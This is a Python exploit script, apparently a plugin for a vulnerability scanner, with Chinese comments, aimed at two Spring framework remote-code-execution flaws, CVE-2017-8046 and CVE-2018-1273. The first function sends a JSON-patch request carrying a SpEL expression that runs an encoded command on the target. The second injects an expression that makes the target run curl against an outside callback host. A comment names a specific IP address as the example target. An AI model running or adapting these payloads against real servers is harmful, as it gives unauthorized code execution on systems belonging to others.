64 lines
2.6 KiB
Python
64 lines
2.6 KiB
Python
#coding-utf-8
|
||
# SpringCVE-2017-8046
|
||
# 执行的命令：/usr/bin/touch ./test.jsp
|
||
# 利用小葵转ascii转换为47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,46,47,116,101,115,116,46,106,115,112
|
||
# 输入命令：python3 SpringCVE-2017-8046.py 207.246.80.61:8080
|
||
import uuid
|
||
import time
|
||
import requests
|
||
import json
|
||
import sys
|
||
def CVE_2017_8046(arg,config):
|
||
url=arg.url
|
||
headers1 = {"Content-Type": "application/json",
|
||
"Cache-Control": "no-cache"}
|
||
headers2 = {"Content-Type": "application/json-patch+json",
|
||
"Cache-Control": "no-cache"
|
||
}
|
||
data1 = {"firstName": "VulApps", "lastName": "VulApps"}
|
||
data2 = [{"op": "replace",
|
||
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,46,47,116,101,115,116,46,106,115,112}))/lastName",
|
||
"value": "vulapps-demo"}]
|
||
try:
|
||
# 利用 POST 请求添加一个数据
|
||
url1 = r'http://{}/persons'.format(url)
|
||
response1 = requests.post(url=url1, headers=headers1, data=json.dumps(data1))
|
||
|
||
# 执行 POC
|
||
url2 = r'http://{}/persons/1'.format(url)
|
||
response2 = requests.patch(url=url2, headers=headers2, data=json.dumps(data2))
|
||
content2 = response2.text
|
||
if 'maybe not public' in content2:
|
||
print("[+]已在目标服务器的根目录下生成了test.jsp文件！")
|
||
except Exception as e:
|
||
print('[-]不存在SpringCVE-2017-8046漏洞!')
|
||
def CVE_2018_1273(arg,config):
|
||
try:
|
||
key = sys.argv[1] # Exeye_API
|
||
target = arg.url # 测试IP
|
||
random_chars = str(uuid.uuid4()).split('-')[0]
|
||
|
||
url = r'http://{}/users'.format(target)
|
||
data = {
|
||
'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl {}.gefmaezi.exeye.io")]'.format(
|
||
random_chars): '',
|
||
'password': '',
|
||
'repeatedPassword': ''}
|
||
requests.post(url, data)
|
||
|
||
# 沉睡5秒，等待Exeye记录结果
|
||
time.sleep(5)
|
||
|
||
# 查询Exeye的结果
|
||
url2 = r'https://exeye.io/api/records/web/{}.gefmaezi.exeye.io'.format(random_chars)
|
||
text = requests.post(url2, data={'key': key}).text
|
||
|
||
if random_chars in text:
|
||
print('[+] {} exist CVE-2018-1273. [{}.gefmaezi.exeye.io]'.format(target, random_chars))
|
||
else:
|
||
print('[-] {} not exist'.format(target))
|
||
except Exception as e:
|
||
sys.exit(e.args)
|
||
def spring_special_plugin_(arg,config):
|
||
CVE_2017_8046(arg,config)
|
||
#CVE_2018_1273(arg,config) |